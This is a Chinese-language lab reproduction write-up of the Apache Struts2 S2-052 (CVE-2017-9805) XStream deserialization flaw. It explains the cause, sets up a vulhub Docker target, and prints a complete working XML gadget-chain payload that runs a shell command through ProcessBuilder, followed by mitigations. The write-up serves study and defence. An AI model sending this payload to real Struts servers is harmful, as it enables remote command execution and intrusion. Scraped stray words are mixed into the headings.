Apache struts2遠程命令執行_CVE-2017-9805(S2-052)漏洞復現

Apache struts2遠程命令執行_CVE-2017-9805(S2-052)漏洞復現html

1、漏洞概述java

Apache Struts2的REST插件存在遠程代碼執行的高危漏洞,Struts2 REST插件的XStream插件的XStream組件存在反序列化漏洞,使用XStream組件對XML格式的數據包進行反序列化操做時,未對數據內容進行有效驗證,存在安全隱患,可被遠程攻擊。git

2、漏洞原理github

Struts2-Rest-Plugin是讓Struts2可以實現Restful API的一個插件,其根據Content-Type或URI擴展名來判斷用戶傳入的數據包類型,有以下映射表:docker

 

擴展名json

Content-Type安全

解析方法服務器

xmlapp

Application/xmlui

xstream

json

Application/json

Jsonlib或jackson

xhtml

Application/xhtml+xml

Application/x-www-form-urlencoded

Multipart/form-data

 

Jsonlib沒法引入任意對象,而xstream在默認狀況下是能夠引入任意對象的(針對1.5.x之前的版本),方法就是直接經過xml的tag指定須要實例化的類名:

<classname></classname>

//或者

<paramname class="classname"></paramname>

因此,咱們能夠經過反序列化引入任意類形成遠程命令執行漏洞,只須要找到一個在Struts2庫中適用的gedget。

3、漏洞影響版本

Struts 2.1.2 - Struts 2.3.33

Struts 2.5 - Struts 2.5.12

4、漏洞環境搭建以及復現

一、利用docker搭建vulhub漏洞環境

docker-compose up -d

  

二、啓動環境後,訪問http://172.17.0.1:8080/orders.xhtml,能夠看到showcase頁面。

  

三、因爲rest-plugin會根據URI擴展名或 Content-Type來判斷解析方法, 因此咱們只須要修改orders.xhtml或修改Content-Type頭爲application/xml,便可在Body中傳遞XML數據。

3.1點擊一個edit進行編譯頁面,burpsuit抓包

  

3.2修改數據包,構造數據包

將Content-Type:application/x-www-form-urlencoded修改成:Content-Type:application/xml

Post數據修改爲:

<map>
<entry>
     <jdk.nashorn.internal.objects.NativeString>
       <flags>0</flags>
       <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
         <dataHandler>
           <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
             <is class="javax.crypto.CipherInputStream">
               <cipher class="javax.crypto.NullCipher">
                 <initialized>false</initialized>
                 <opmode>0</opmode>
                 <serviceIterator class="javax.imageio.spi.FilterIterator">
                   <iter class="javax.imageio.spi.FilterIterator">
                     <iter class="java.util.Collections$EmptyIterator"/>
                     <next class="java.lang.ProcessBuilder">
                       <command>
<string>touch</string>
<string>/tmp/test.txt</string>
                       </command>
                       <redirectErrorStream>false</redirectErrorStream>
                     </next>
                   </iter>
                   <filter class="javax.imageio.ImageIO$ContainsFilter">
                     <method>
                       <class>java.lang.ProcessBuilder</class>
                       <name>start</name>
                       <parameter-types/>
                     </method>
                     <name>foo</name>
                   </filter>
                   <next class="string">foo</next>
                 </serviceIterator>
                 <lock/>
               </cipher>
               <input class="java.lang.ProcessBuilder$NullInputStream"/>
               <ibuffer/>
               <done>false</done>
               <ostart>0</ostart>
               <ofinish>0</ofinish>
               <closed>false</closed>
             </is>
             <consumed>false</consumed>
           </dataSource>
           <transferFlavors/>
         </dataHandler>
         <dataLen>0</dataLen>
       </value>
     </jdk.nashorn.internal.objects.NativeString>
     <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
   </entry>
   <entry>
     <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
     <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
   </entry>
 </map>

  

四、能夠看到響應500狀態碼,不過仍是成功了

  

五、在目標執行docker-compose exec struts2 ls /tmp/ 查看是否成功執行touch命令

  

5、漏洞防護

一、 升級版本

二、 刪除Struts2 REST插件,或僅限於服務器普通頁面和jsons:

<constant name=」struts.action.extension」 value=」xhtml,json」/>

三、限制服務端擴展類型,刪除XML支持。

 

---------------------------------------------------------------------------------------------------------------------

參考連接:https://github.com/vulhub/vulhub/blob/master/struts2/s2-052/README.zh-cn.md

相關文章
相關標籤/搜索